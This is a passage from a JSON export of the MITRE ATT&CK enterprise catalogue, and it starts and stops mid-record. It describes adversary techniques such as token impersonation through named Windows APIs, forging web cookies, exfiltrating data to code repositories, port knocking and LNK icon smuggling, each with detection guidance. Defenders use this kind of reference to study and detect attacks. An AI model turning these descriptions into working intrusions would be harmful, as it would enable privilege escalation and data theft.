Librarian. Retrieved February 3, 2021.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"},{"source_name":"Cofense-redirect","description":"Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024.","url":"https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"},{"source_name":"mandiant-masking","description":"Simonian, Nick. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024.","url":"https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","type":"attack-pattern","created":"2017-05-31T21:31:15.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1104","external_id":"T1104"}],"modified":"2020-07-14T19:43:38.181Z","name":"Multi-Stage Channels","description":"Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T15:58:10.254Z","name":"Financial Theft","description":"Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) \n\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_contributors":["Blake Strom, Microsoft Threat Intelligence","Pawel Partyka, Microsoft Threat Intelligence","Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","SaaS","Office Suite"],"x_mitre_version":"1.2","x_mitre_data_sources":["Application Log: Application Log Content"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","created":"2023-08-18T20:50:04.222Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1657","external_id":"T1657"},{"source_name":"VEC","description":"CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.","url":"https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers."},{"source_name":"Crowdstrike-leaks","description":"Crowdstrike. (2020, September 24). Double Trouble: Ransomware with Data Leak Extortion, Part 1. Retrieved December 6, 2023.","url":"https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/"},{"source_name":"Mandiant-leaks","description":"DANIEL KAPELLMANN ZAFRA, COREY HIDELBRANDT, NATHAN BRUBAKER, KEITH LUNDEN. (2022, January 31). 1 in 7 OT Ransomware Extortion Attacks Leak Critical Operational Technology Information. Retrieved August 18, 2023.","url":"https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs"},{"source_name":"DOJ-DPRK Heist","description":"Department of Justice. (2021). 3 North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyber-attacks and Financial Crimes Across the Globe. Retrieved August 18, 2023.","url":"https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and"},{"source_name":"FBI-BEC","description":"FBI. (2022). FBI 2022 Congressional Report on BEC and Real Estate Wire Fraud. Retrieved August 18, 2023.","url":"https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view"},{"source_name":"FBI-ransomware","description":"FBI. (n.d.). Ransomware. Retrieved August 18, 2023.","url":"https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf"},{"source_name":"AP-NotPetya","description":"FRANK BAJAK AND RAPHAEL SATTER. (2017, June 30). Companies still hobbled from fearsome cyberattack. Retrieved August 18, 2023.","url":"https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2"},{"source_name":"Internet crime report 2022","description":"IC3. (2022). 2022 Internet Crime Report. Retrieved August 18, 2023.","url":"https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf"},{"source_name":"BBC-Ronin","description":"Joe Tidy. (2022, March 30). Ronin Network: What a $600m hack says about the state of crypto. Retrieved August 18, 2023.","url":"https://www.bbc.com/news/technology-60933174"},{"source_name":"wired-pig butchering","description":"Lily Hay Newman. (n.d.). ‘Pig Butchering’ Scams Are Now a $3 Billion Threat. Retrieved August 18, 2023.","url":"https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/"},{"source_name":"NYT-Colonial","description":"Nicole Perlroth. (2021, May 13). Colonial Pipeline paid 75 Bitcoin, or roughly $5 million, to hackers.. Retrieved August 18, 2023.","url":"https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-06-07T14:30:23.491Z","name":"Execution Guardrails","description":"Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\n\nAdversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Nick Carr, Mandiant"],"x_mitre_deprecated":false,"x_mitre_detection":"Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Anti-virus","Host Forensic Analysis","Signature-based Detection","Static File Analysis"],"type":"attack-pattern","id":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","created":"2019-01-31T02:10:08.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1480","external_id":"T1480"},{"source_name":"FireEye Outlook Dec 2019","description":"McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.","url":"https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html"},{"source_name":"Trellix-Qakbot","description":"Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved June 7, 2024.","url":"https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/"},{"source_name":"FireEye Kevin Mandia Guardrails","description":"Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.","url":"https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Regina Elwell","Isif Ibrahima, Mandiant"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156","created":"2021-10-01T17:58:26.445Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1619","url":"https://attack.mitre.org/techniques/T1619"},{"source_name":"ListObjectsV2","url":"https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html","description":"Amazon - ListObjectsV2. Retrieved October 4, 2021."},{"source_name":"List Blobs","url":"https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs","description":"Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .","modified":"2022-04-11T22:29:43.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Cloud Storage Object Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. \nMonitor cloud logs for API calls used for file or object enumeration for unusual activity. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Cloud Storage: Cloud Storage Access","Cloud Storage: Cloud Storage Enumeration"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-19T21:25:10.511Z","name":"Web Cookies","description":"Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Jack Burns, HubSpot"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","SaaS","IaaS"],"x_mitre_version":"1.1","x_mitre_data_sources":["Logon Session: Logon Session Creation","Web Credential: Web Credential Usage"],"type":"attack-pattern","id":"attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a","created":"2020-12-17T02:14:34.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1606/001","external_id":"T1606.001"},{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"Unit 42 Mac Crypto Cookies January 2019","description":"Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"},{"source_name":"Pass The Cookie","description":"Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.","url":"https://wunderwuzzi23.github.io/blog/passthecookie.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T12:24:40.892Z","name":"Log Enumeration","description":"Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).\n\nHost binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)\n\nAdversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.\n\nIn addition to gaining a better understanding of the environment, adversaries may also monitor logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.(Citation: Permiso GUI-Vil 2023)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Bilal Bahadır Yenici","Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","IaaS"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Access","Command: Command Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969","created":"2023-07-10T16:50:57.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1654","external_id":"T1654"},{"source_name":"Permiso GUI-Vil 2023","description":"Ian Ahl. (2023, May 22). Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor. Retrieved August 30, 2024.","url":"https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/"},{"source_name":"SIM Swapping and Abuse of the Microsoft Azure Serial Console","description":"Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.","url":"https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial"},{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"WithSecure Lazarus-NoPineapple Threat Intel Report 2023","description":"Ruohonen, S. & Robinson, S. (2023, February 2). No Pineapple! -DPRK Targeting of Medical Research and Technology Sector. Retrieved July 10, 2023.","url":"https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-10T17:57:36.177Z","name":"Token Impersonation/Theft","description":"Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Jonny Johnson"],"x_mitre_deprecated":false,"x_mitre_detection":"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Process: OS API Execution"],"x_mitre_defense_bypassed":["Windows User Account Control","System access controls","File system access controls"],"type":"attack-pattern","id":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","created":"2020-02-18T16:39:06.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1134/001","external_id":"T1134.001"},{"source_name":"Microsoft Command-line Logging","description":"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.","url":"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"},{"source_name":"DuplicateToken function","description":"Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h). Retrieved January 8, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-15T19:08:16.882Z","name":"Exfiltration to Code Repository","description":"Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Command: Command Execution","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","File: File Access"],"type":"attack-pattern","id":"attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7","created":"2020-03-09T14:51:11.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1567/001","external_id":"T1567.001"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:52:47.255Z","name":"Cloud Services","description":"Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \n\nMany enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.\n\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["SaaS","IaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.1","x_mitre_data_sources":["Logon Session: Logon Session Creation"],"type":"attack-pattern","id":"attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0","created":"2023-02-21T19:38:13.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1021/007","external_id":"T1021.007"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd","type":"attack-pattern","created":"2020-07-01T18:23:25.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1205.001","url":"https://attack.mitre.org/techniques/T1205/001"},{"url":"https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631","description":"Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.","source_name":"Hartrell cd00r 2002"}],"modified":"2022-03-11T18:31:23.996Z","name":"Port Knocking","description":"Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow"],"x_mitre_permissions_required":["User"]},{"modified":"2023-10-17T02:12:05.242Z","name":"LNK Icon Smuggling","description":"Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads. \n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Michael Raggi @aRtAGGI","Andrew Northern, @ex_raritas","Gregory Lesnewich, @greglesnewich"],"x_mitre_deprecated":false,"x_mitre_detection":"\n","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["File: File Metadata","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc","created":"2023-09-29T15:28:42.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027/012","external_id":"T1027.012"},{"source_name":"Unprotect Shortcut","description":"Unprotect Project. (2019, March 18). Shortcut Hiding. Retrieved October 3, 2023.","url":"https://unprotect.it/technique/shortcut-hiding/"},{"source_name":"Booby Trap Shortcut 2017","description":"Weyne, F. (2017, April). Booby trap a 